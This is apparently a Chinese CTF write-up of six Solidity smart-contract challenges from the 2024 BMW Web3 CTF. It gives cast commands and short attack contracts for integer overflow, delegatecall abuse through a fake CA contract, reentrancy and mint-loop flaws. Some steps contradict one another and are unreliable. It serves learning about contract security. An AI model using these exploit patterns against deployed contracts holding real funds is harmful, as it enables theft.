2024 BMW web3 CTF部分writeups
字数 1555 2025-08-22 12:23:24

Web3 CTF 解题指南:2024 BMW CTF Writeups

目录

  1. 基础知识与工具
  2. easy-warmup 签到题
  3. easy-Over 16 整数溢出
  4. Medium-Access Control 访问控制漏洞
  5. Medium-Mamma Mia! 重入攻击
  6. Hard-Safe Deposit Box 交易取消漏洞
  7. Hard-BMW Bugbounty 整数溢出攻击

基础知识与工具

Solidity 基础概念

  • view 函数:只读取不修改状态
  • payable 函数:可以接收以太币
  • delegatecall:在调用者上下文中执行目标合约代码
  • mapping:键值对存储结构

常用工具

  • cast:用于与以太坊节点交互的命令行工具
  • 常用命令:
    cast call --rpc-url [RPC_URL] [CONTRACT_ADDRESS] "functionName()(returnType)"
    cast send --rpc-url [RPC_URL] --private-key [PRIVATE_KEY] [CONTRACT_ADDRESS] "functionName(paramType)"
    

easy-warmup 签到题

合约代码

contract Warmup {
    string public flag = "flag{FAKE_FLAG}";
    function Callme() public view returns(string memory) {
        return flag;
    }
}

解题方法

  1. 直接读取公共变量 flag
  2. 或调用 Callme() 函数

cast 命令示例

cast call --rpc-url sepolia_rpc [CONTRACT_ADDRESS] "Callme()(string)"

关键点

  • 公共变量会自动生成 getter 函数
  • view 函数不消耗 gas

easy-Over 16 整数溢出

合约代码关键部分

mapping(address => uint16) public balances;
uint16 private originalBalance = 21436;

function add_16(uint _value) public {
    balances[msg.sender] += uint16(_value);
}

function get16_Flag() public returns (string memory) {
    require(balances[msg.sender] == 16, "XXXXXXXXXXXXXXXX");
    return "flag{FAKE_FLAG}";
}

漏洞分析

  • uint16 最大值为 65535
  • 通过溢出使余额变为16:65535 + 1 = 0, 0 + 16 = 16

攻击步骤

  1. 调用 add_16 传入 65536 - originalBalance + 16
  2. 调用 get16_Flag 获取 flag

cast 命令

cast send --rpc-url sepolia_rpc --private-key KEY [CONTRACT_ADDRESS] "add_16(uint)" "16"
cast call --rpc-url sepolia_rpc --private-key KEY [CONTRACT_ADDRESS] "get16_Flag()(string)"

Medium-Access Control 访问控制漏洞

flag获取条件

function flag() public view returns (string memory) {
    require(grantedUsers[msg.sender] == true);
    require(securityLevel[msg.sender] == 5);
    return "flag{FAKE_FLAG}";
}

漏洞点

  1. accessRequest 函数接受任意 CA 合约地址
  2. setSecurityLevel 使用 delegatecall 调用 CA 合约

攻击合约示例

contract FakeCA {
    function verify(address user) public payable returns (bool) {
        return true;
    }
    function setLevel(address, address, uint256) public returns (uint256) {
        return 5;
    }
}

攻击流程

  1. 部署 FakeCA 合约
  2. 调用 accessRequest 传入 FakeCA 地址
  3. 调用 setSecurityLevel 设置安全等级
  4. 调用 flag 获取 flag

关键点

  • delegatecall 保持调用者上下文
  • 内存操作:mload(add(result, 0x20)) 读取返回数据

Medium-Mamma Mia! 重入攻击

flag获取条件

function captureFlag() public {
    require(address(this).balance == 0);
    require(flagCapturer == address(0));
    flagCapturer = msg.sender;
}

function resetFlag() public payable {
    require(flagCapturer == msg.sender);
    require(msg.value >= 0.001 ether);
    flagResetters[msg.sender] = true;
}

function getFlag() public view returns (string memory) {
    require(flagResetters[msg.sender]);
    return "flag{FAKE_FLAG}";
}

漏洞点

  • withdraw 函数存在重入漏洞:
    (bool sent, ) = msg.sender.call{value: bal}("");
    balances[msg.sender] = 0; // 在转账后才更新余额
    

攻击流程

  1. 存款少量 ETH (deposit)
  2. receive 回调中重入 withdraw
  3. 合约余额为0时调用 captureFlag
  4. 调用 resetFlag 设置 flagResetter
  5. 调用 getFlag 获取 flag

攻击合约示例

receive() external payable {
    if (m.getBalance() != 0) {
        m.withdraw();
    }
}

Hard-Safe Deposit Box 交易取消漏洞

flag获取条件

function buy_flag() public returns (string memory) {
    require(balances[msg.sender] > 100000);
    require(msg.sender != owner);
    balances[msg.sender] = 0;
    return return_flag();
}

漏洞点

  1. make_account 可重复调用增加余额
  2. cancel_transactionfill_money 修饰器会给 owner 充值

攻击步骤

  1. 多次调用 make_account 积累余额
  2. 调用 cancel_transaction 触发 owner 余额充值
  3. 调用 buy_flag 获取 flag

关键点

  • 初始余额仅1000,需要积累
  • fill_money 修饰器在余额不足时自动充值

Hard-BMW Bugbounty 整数溢出攻击

flag获取条件

function flag() external returns(string memory){
    require(processContract.check_my_nft(msg.sender) > 10000);
    processContract.reset_account();
    return "Exploit-Success!!";
}

漏洞点

function Buy_nft(uint256 _count) external payable returns(uint256) {
    for(uint256 i; i < _count; i++) {
        require(msg.value >= 1 ether);
        _mint(msg.sender, balanceOf(msg.sender) + 1);
        if (balance[msg.sender] > 10000) return balance[msg.sender];
    }
}

攻击方法

  1. 传入超大 _count 值使循环立即终止
  2. 由于 balance[msg.sender] 未检查上限,NFT数量会暴增

攻击合约

function attack() public payable {
    b.Buy_nft{value: 1 ether}(10001); // 传入足够大的数
    flag = bmw.flag();
}

关键点

  • 循环条件 i < _count 可被绕过
  • 单次调用即可获得足够 NFT
Web3 CTF 解题指南:2024 BMW CTF Writeups 目录 基础知识与工具 easy-warmup 签到题 easy-Over 16 整数溢出 Medium-Access Control 访问控制漏洞 Medium-Mamma Mia! 重入攻击 Hard-Safe Deposit Box 交易取消漏洞 Hard-BMW Bugbounty 整数溢出攻击 基础知识与工具 Solidity 基础概念 : view 函数:只读取不修改状态 payable 函数:可以接收以太币 delegatecall :在调用者上下文中执行目标合约代码 mapping :键值对存储结构 常用工具 : cast :用于与以太坊节点交互的命令行工具 常用命令: easy-warmup 签到题 合约代码 : 解题方法 : 直接读取公共变量 flag 或调用 Callme() 函数 cast 命令示例 : 关键点 : 公共变量会自动生成 getter 函数 view 函数不消耗 gas easy-Over 16 整数溢出 合约代码关键部分 : 漏洞分析 : uint16 最大值为 65535 通过溢出使余额变为16: 65535 + 1 = 0 , 0 + 16 = 16 攻击步骤 : 调用 add_16 传入 65536 - originalBalance + 16 调用 get16_Flag 获取 flag cast 命令 : Medium-Access Control 访问控制漏洞 flag获取条件 : 漏洞点 : accessRequest 函数接受任意 CA 合约地址 setSecurityLevel 使用 delegatecall 调用 CA 合约 攻击合约示例 : 攻击流程 : 部署 FakeCA 合约 调用 accessRequest 传入 FakeCA 地址 调用 setSecurityLevel 设置安全等级 调用 flag 获取 flag 关键点 : delegatecall 保持调用者上下文 内存操作: mload(add(result, 0x20)) 读取返回数据 Medium-Mamma Mia ! 重入攻击 flag获取条件 : 漏洞点 : withdraw 函数存在重入漏洞: 攻击流程 : 存款少量 ETH ( deposit ) 在 receive 回调中重入 withdraw 合约余额为0时调用 captureFlag 调用 resetFlag 设置 flagResetter 调用 getFlag 获取 flag 攻击合约示例 : Hard-Safe Deposit Box 交易取消漏洞 flag获取条件 : 漏洞点 : make_account 可重复调用增加余额 cancel_transaction 的 fill_money 修饰器会给 owner 充值 攻击步骤 : 多次调用 make_account 积累余额 调用 cancel_transaction 触发 owner 余额充值 调用 buy_flag 获取 flag 关键点 : 初始余额仅1000,需要积累 fill_money 修饰器在余额不足时自动充值 Hard-BMW Bugbounty 整数溢出攻击 flag获取条件 : 漏洞点 : 攻击方法 : 传入超大 _count 值使循环立即终止 由于 balance[msg.sender] 未检查上限,NFT数量会暴增 攻击合约 : 关键点 : 循环条件 i < _count 可被绕过 单次调用即可获得足够 NFT